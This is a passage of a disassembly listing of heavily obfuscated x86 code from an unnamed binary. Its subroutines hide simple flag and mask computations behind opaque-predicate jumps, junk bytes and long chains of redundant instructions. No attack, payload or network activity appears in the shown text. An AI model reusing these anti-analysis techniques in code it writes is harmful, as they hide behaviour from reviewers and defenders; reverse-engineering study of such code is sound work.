		dec	cl
		jo	short loc_49BF70
		jl	short loc_49BF6E


loc_49BF6B:				; CODE XREF: sub_49BEF2:loc_49BF6Ej
					; sub_49BEF2:loc_49BF70j
		jmp	short loc_49BF72
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49BF6E:				; CODE XREF: sub_49BEF2+77j
		jz	short loc_49BF6B


loc_49BF70:				; CODE XREF: sub_49BEF2+75j
		jmp	short loc_49BF6B
; ---------------------------------------------------------------------------


loc_49BF72:				; CODE XREF: sub_49BEF2:loc_49BF6Bj
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 13h
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		pop	ebx
		test	eax, eax
		jnz	loc_49C09B
		mov	eax, [ebp+var_4]
		jo	short loc_49BFB0
		jl	short loc_49BFAE


loc_49BFAB:				; CODE XREF: sub_49BEF2:loc_49BFAEj
					; sub_49BEF2:loc_49BFB0j
		jmp	short loc_49BFB2
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_49BFAE:				; CODE XREF: sub_49BEF2+B7j
		jz	short loc_49BFAB


loc_49BFB0:				; CODE XREF: sub_49BEF2+B5j
		jmp	short loc_49BFAB
; ---------------------------------------------------------------------------


loc_49BFB2:				; CODE XREF: sub_49BEF2:loc_49BFABj
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		and	bh, 0
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		jo	short loc_49BFD6
		jl	short loc_49BFD4


loc_49BFD1:				; CODE XREF: sub_49BEF2:loc_49BFD4j
					; sub_49BEF2:loc_49BFD6j
		jmp	short loc_49BFD8
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49BFD4:				; CODE XREF: sub_49BEF2+DDj
		jz	short loc_49BFD1


loc_49BFD6:				; CODE XREF: sub_49BEF2+DBj
		jmp	short loc_49BFD1
; ---------------------------------------------------------------------------


loc_49BFD8:				; CODE XREF: sub_49BEF2:loc_49BFD1j
		mov	bl, 0C6h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_49C025
		jl	short loc_49C023


loc_49C01E:				; CODE XREF: sub_49BEF2:loc_49C023j
					; sub_49BEF2:loc_49C025j
		jmp	short loc_49C027
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49C023:				; CODE XREF: sub_49BEF2+12Aj
		jz	short loc_49C01E


loc_49C025:				; CODE XREF: sub_49BEF2+128j
		jmp	short loc_49C01E
; ---------------------------------------------------------------------------


loc_49C027:				; CODE XREF: sub_49BEF2:loc_49C01Ej
		sub	bl, 6
		push	eax
		dec	bl
		dec	bl
		jo	short loc_49C038
		jl	short loc_49C036


loc_49C033:				; CODE XREF: sub_49BEF2:loc_49C036j
					; sub_49BEF2:loc_49C038j
		jmp	short loc_49C03A
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49C036:				; CODE XREF: sub_49BEF2+13Fj
		jz	short loc_49C033


loc_49C038:				; CODE XREF: sub_49BEF2+13Dj
		jmp	short loc_49C033
; ---------------------------------------------------------------------------


loc_49C03A:				; CODE XREF: sub_49BEF2:loc_49C033j
		and	eax, 40h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1200h
		dec	dh
		sub	dh, 1
		dec	dh
		sub	dh, 7
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_49C06E
		jl	short loc_49C06C


loc_49C067:				; CODE XREF: sub_49BEF2:loc_49C06Cj
					; sub_49BEF2:loc_49C06Ej
		jmp	short loc_49C070
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49C06C:				; CODE XREF: sub_49BEF2+173j
		jz	short loc_49C067


loc_49C06E:				; CODE XREF: sub_49BEF2+171j
		jmp	short loc_49C067
; ---------------------------------------------------------------------------


loc_49C070:				; CODE XREF: sub_49BEF2:loc_49C067j
		inc	eax
		dec	eax
		jo	short loc_49C07D
		jl	short loc_49C07B


loc_49C076:				; CODE XREF: sub_49BEF2:loc_49C07Bj
					; sub_49BEF2:loc_49C07Dj
		jmp	short loc_49C07F
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49C07B:				; CODE XREF: sub_49BEF2+182j
		jz	short loc_49C076


loc_49C07D:				; CODE XREF: sub_49BEF2+180j
		jmp	short loc_49C076
; ---------------------------------------------------------------------------


loc_49C07F:				; CODE XREF: sub_49BEF2:loc_49C076j
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_49C08E
		jl	short loc_49C08C


loc_49C087:				; CODE XREF: sub_49BEF2:loc_49C08Cj
					; sub_49BEF2:loc_49C08Ej
		jmp	short loc_49C090
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49C08C:				; CODE XREF: sub_49BEF2+193j
		jz	short loc_49C087


loc_49C08E:				; CODE XREF: sub_49BEF2+191j
		jmp	short loc_49C087
; ---------------------------------------------------------------------------


loc_49C090:				; CODE XREF: sub_49BEF2:loc_49C087j
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_49C09B
		and	eax, 0
		jmp	short loc_49C09F
; ---------------------------------------------------------------------------


loc_49C09B:				; CODE XREF: sub_49BEF2+ACj
					; sub_49BEF2+1A2j
		and	eax, 0
		inc	eax


loc_49C09F:				; CODE XREF: sub_49BEF2+1A7j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F8
		xor	ecx, dword_4ED3FC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49C0C2
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49C0C2:				; CODE XREF: sub_49BEF2+1C5j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D50
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49BEF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C0D6	proc near		; DATA XREF: sub_4965D8+690o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DB0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, [ebp+arg_4]
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	410h
		pop	ebx
		dec	bh
		dec	bh
		sub	bh, 0FFh
		sub	bh, 2
		dec	bh
		and	ah, bh
		mov	bl, 0Dh
		sub	bl, 4
		sub	bl, 1
		sub	bl, 1
		sub	bl, 1
		sub	bl, 1
		sub	bl, 1
		and	al, bl
		pop	ebx
		pop	edx
		test	eax, eax
		jz	short loc_49C136
		not	eax
		add	eax, 1
		stc
		jmp	short loc_49C13C
; ---------------------------------------------------------------------------


loc_49C136:				; CODE XREF: sub_49C0D6+56j
		not	eax
		add	eax, 1
		clc


loc_49C13C:				; CODE XREF: sub_49C0D6+5Ej
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3E0
		xor	ecx, dword_4ED3E4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49C163
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49C163:				; CODE XREF: sub_49C0D6+82j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D38
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49C0D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C177	proc near		; DATA XREF: sub_4965D8+BF7o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D8C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 72h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3BC
		xor	ecx, dword_4ED3C0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49C23A
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49C23A:				; CODE XREF: sub_49C177+B8j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D14
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49C177	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C24E	proc near		; DATA XREF: sub_4965D8+1119o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 0Dh
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Dh
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		and	eax, ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED400
		xor	ecx, dword_4ED404
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49C2DD
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49C2DD:				; CODE XREF: sub_49C24E+84j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D58
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49C24E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C2F1	proc near		; DATA XREF: sub_4965D8+1543o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DBC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	0Ch
		pop	ebx
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		add	bl, 0FFh
		add	bl, 0FFh
		dec	bl
		jo	short loc_49C336
		jl	short loc_49C334


loc_49C32F:				; CODE XREF: sub_49C2F1:loc_49C334j
					; sub_49C2F1:loc_49C336j
		jmp	short loc_49C338
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49C334:				; CODE XREF: sub_49C2F1+3Cj
		jz	short loc_49C32F


loc_49C336:				; CODE XREF: sub_49C2F1+3Aj
		jmp	short loc_49C32F
; ---------------------------------------------------------------------------


loc_49C338:				; CODE XREF: sub_49C2F1:loc_49C32Fj
		add	bl, 0FFh
		add	bl, 0FFh
		add	bl, 0FFh
		add	bl, 0FFh
		and	al, bl
		jo	short loc_49C34F
		jl	short loc_49C34D


loc_49C34A:				; CODE XREF: sub_49C2F1:loc_49C34Dj
					; sub_49C2F1:loc_49C34Fj
		jmp	short loc_49C351
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49C34D:				; CODE XREF: sub_49C2F1+57j
		jz	short loc_49C34A


loc_49C34F:				; CODE XREF: sub_49C2F1+55j
		jmp	short loc_49C34A
; ---------------------------------------------------------------------------


loc_49C351:				; CODE XREF: sub_49C2F1:loc_49C34Aj
		mov	dh, 15h
		and	dl, 0
		dec	dh
		sub	dh, 9
		sub	dh, 1
		dec	dh
		dec	dh
		and	ah, dh
		pop	ebx
		pop	edx
		test	eax, eax
		jz	short loc_49C372
		not	eax
		add	eax, 1
		stc
		jmp	short loc_49C378
; ---------------------------------------------------------------------------


loc_49C372:				; CODE XREF: sub_49C2F1+77j
		not	eax
		add	eax, 1
		clc


loc_49C378:				; CODE XREF: sub_49C2F1+7Fj
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_49C387
		jl	short loc_49C385


loc_49C380:				; CODE XREF: sub_49C2F1:loc_49C385j
					; sub_49C2F1:loc_49C387j
		jmp	short loc_49C389
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49C385:				; CODE XREF: sub_49C2F1+8Dj
		jz	short loc_49C380


loc_49C387:				; CODE XREF: sub_49C2F1+8Bj
		jmp	short loc_49C380
; ---------------------------------------------------------------------------


loc_49C389:				; CODE XREF: sub_49C2F1:loc_49C380j
		inc	eax
		dec	eax
		jo	short loc_49C396
		jl	short loc_49C394


loc_49C38F:				; CODE XREF: sub_49C2F1:loc_49C394j
					; sub_49C2F1:loc_49C396j
		jmp	short loc_49C398
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49C394:				; CODE XREF: sub_49C2F1+9Cj
		jz	short loc_49C38F


loc_49C396:				; CODE XREF: sub_49C2F1+9Aj
		jmp	short loc_49C38F
; ---------------------------------------------------------------------------


loc_49C398:				; CODE XREF: sub_49C2F1:loc_49C38Fj
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_49C3A7
		jl	short loc_49C3A5


loc_49C3A0:				; CODE XREF: sub_49C2F1:loc_49C3A5j
					; sub_49C2F1:loc_49C3A7j
		jmp	short loc_49C3A9
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49C3A5:				; CODE XREF: sub_49C2F1+ADj
		jz	short loc_49C3A0


loc_49C3A7:				; CODE XREF: sub_49C2F1+ABj
		jmp	short loc_49C3A0
; ---------------------------------------------------------------------------


loc_49C3A9:				; CODE XREF: sub_49C2F1:loc_49C3A0j
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3EC
		xor	ecx, dword_4ED3F0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49C3CD
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49C3CD:				; CODE XREF: sub_49C2F1+D1j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D44
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49C2F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C3E1	proc near		; DATA XREF: sub_4965D8+1064o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jo	short loc_49C406
		jl	short loc_49C404


loc_49C401:				; CODE XREF: sub_49C3E1:loc_49C404j
					; sub_49C3E1:loc_49C406j
		jmp	short loc_49C408
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_49C404:				; CODE XREF: sub_49C3E1+1Ej
		jz	short loc_49C401


loc_49C406:				; CODE XREF: sub_49C3E1+1Cj
		jmp	short loc_49C401
; ---------------------------------------------------------------------------


loc_49C408:				; CODE XREF: sub_49C3E1:loc_49C401j
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 70h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		jo	short loc_49C45C
		jl	short loc_49C45A


loc_49C457:				; CODE XREF: sub_49C3E1:loc_49C45Aj
					; sub_49C3E1:loc_49C45Cj
		jmp	short loc_49C45E
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49C45A:				; CODE XREF: sub_49C3E1+74j
		jz	short loc_49C457


loc_49C45C:				; CODE XREF: sub_49C3E1+72j
		jmp	short loc_49C457
; ---------------------------------------------------------------------------


loc_49C45E:				; CODE XREF: sub_49C3E1:loc_49C457j
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		pop	ebx
		test	eax, eax
		jnz	loc_49C59A
		mov	eax, [ebp+var_4]
		jo	short loc_49C4A3
		jl	short loc_49C4A1


loc_49C49E:				; CODE XREF: sub_49C3E1:loc_49C4A1j
					; sub_49C3E1:loc_49C4A3j
		jmp	short loc_49C4A5
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_49C4A1:				; CODE XREF: sub_49C3E1+BBj
		jz	short loc_49C49E


loc_49C4A3:				; CODE XREF: sub_49C3E1+B9j
		jmp	short loc_49C49E
; ---------------------------------------------------------------------------


loc_49C4A5:				; CODE XREF: sub_49C3E1:loc_49C49Ej
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		jo	short loc_49C4D4
		jl	short loc_49C4D2


loc_49C4CF:				; CODE XREF: sub_49C3E1:loc_49C4D2j
					; sub_49C3E1:loc_49C4D4j
		jmp	short loc_49C4D6
; ---------------------------------------------------------------------------
		db 0D5h
; ---------------------------------------------------------------------------


loc_49C4D2:				; CODE XREF: sub_49C3E1+ECj
		jz	short loc_49C4CF


loc_49C4D4:				; CODE XREF: sub_49C3E1+EAj
		jmp	short loc_49C4CF
; ---------------------------------------------------------------------------


loc_49C4D6:				; CODE XREF: sub_49C3E1:loc_49C4CFj
		mov	bl, 0C0h
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_49C51E
		jl	short loc_49C51C


loc_49C517:				; CODE XREF: sub_49C3E1:loc_49C51Cj
					; sub_49C3E1:loc_49C51Ej
		jmp	short loc_49C520
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49C51C:				; CODE XREF: sub_49C3E1+134j
		jz	short loc_49C517


loc_49C51E:				; CODE XREF: sub_49C3E1+132j
		jmp	short loc_49C517
; ---------------------------------------------------------------------------


loc_49C520:				; CODE XREF: sub_49C3E1:loc_49C517j
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		jo	short loc_49C533
		jl	short loc_49C531


loc_49C52E:				; CODE XREF: sub_49C3E1:loc_49C531j
					; sub_49C3E1:loc_49C533j
		jmp	short loc_49C535
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49C531:				; CODE XREF: sub_49C3E1+14Bj
		jz	short loc_49C52E


loc_49C533:				; CODE XREF: sub_49C3E1+149j
		jmp	short loc_49C52E
; ---------------------------------------------------------------------------


loc_49C535:				; CODE XREF: sub_49C3E1:loc_49C52Ej
		and	eax, 41h
		dec	bl
		sub	bl, 12h
		and	eax, 800h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1200h
		dec	dh
		sub	dh, 1
		dec	dh
		sub	dh, 7
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_49C56E
		jl	short loc_49C56C


loc_49C567:				; CODE XREF: sub_49C3E1:loc_49C56Cj
					; sub_49C3E1:loc_49C56Ej
		jmp	short loc_49C570
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49C56C:				; CODE XREF: sub_49C3E1+184j
		jz	short loc_49C567


loc_49C56E:				; CODE XREF: sub_49C3E1+182j
		jmp	short loc_49C567
; ---------------------------------------------------------------------------


loc_49C570:				; CODE XREF: sub_49C3E1:loc_49C567j
		inc	eax
		dec	eax
		jo	short loc_49C57D
		jl	short loc_49C57B


loc_49C576:				; CODE XREF: sub_49C3E1:loc_49C57Bj
					; sub_49C3E1:loc_49C57Dj
		jmp	short loc_49C57F
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49C57B:				; CODE XREF: sub_49C3E1+193j
		jz	short loc_49C576


loc_49C57D:				; CODE XREF: sub_49C3E1+191j
		jmp	short loc_49C576
; ---------------------------------------------------------------------------


loc_49C57F:				; CODE XREF: sub_49C3E1:loc_49C576j
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_49C58C
		jl	short loc_49C58A


loc_49C587:				; CODE XREF: sub_49C3E1:loc_49C58Aj
					; sub_49C3E1:loc_49C58Cj
		jmp	short loc_49C58E
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49C58A:				; CODE XREF: sub_49C3E1+1A4j
		jz	short loc_49C587


loc_49C58C:				; CODE XREF: sub_49C3E1+1A2j
		jmp	short loc_49C587
; ---------------------------------------------------------------------------


loc_49C58E:				; CODE XREF: sub_49C3E1:loc_49C587j
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_49C59A
		and	eax, 0
		inc	eax
		jmp	short loc_49C59D
; ---------------------------------------------------------------------------


loc_49C59A:				; CODE XREF: sub_49C3E1+B0j
					; sub_49C3E1+1B1j
		and	eax, 0


loc_49C59D:				; CODE XREF: sub_49C3E1+1B7j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F0
		xor	ecx, dword_4ED3F4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49C5C0
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49C5C0:				; CODE XREF: sub_49C3E1+1D4j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D48
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49C3E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C5D4	proc near		; DATA XREF: sub_4965D8+7A0o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_49C607
		jl	short loc_49C605


loc_49C600:				; CODE XREF: sub_49C5D4:loc_49C605j
					; sub_49C5D4:loc_49C607j
		jmp	short loc_49C609
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49C605:				; CODE XREF: sub_49C5D4+2Aj
		jz	short loc_49C600


loc_49C607:				; CODE XREF: sub_49C5D4+28j
		jmp	short loc_49C600
; ---------------------------------------------------------------------------


loc_49C609:				; CODE XREF: sub_49C5D4:loc_49C600j
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		and	eax, 41h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1500h
		dec	dh
		sub	dh, 3
		dec	dh
		sub	dh, 7
		dec	dh
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED410
		xor	ecx, dword_4ED414
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49C661
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49C661:				; CODE XREF: sub_49C5D4+82j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D68
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49C5D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C675	proc near		; DATA XREF: sub_4965D8+E88o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DAC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 77h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		dec	cl
		jo	short loc_49C6DD
		jl	short loc_49C6DB


loc_49C6D8:				; CODE XREF: sub_49C675:loc_49C6DBj
					; sub_49C675:loc_49C6DDj
		jmp	short loc_49C6DF
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_49C6DB:				; CODE XREF: sub_49C675+61j
		jz	short loc_49C6D8


loc_49C6DD:				; CODE XREF: sub_49C675+5Fj
		jmp	short loc_49C6D8
; ---------------------------------------------------------------------------


loc_49C6DF:				; CODE XREF: sub_49C675:loc_49C6D8j
		dec	cl
		and	eax, 40h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 800h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
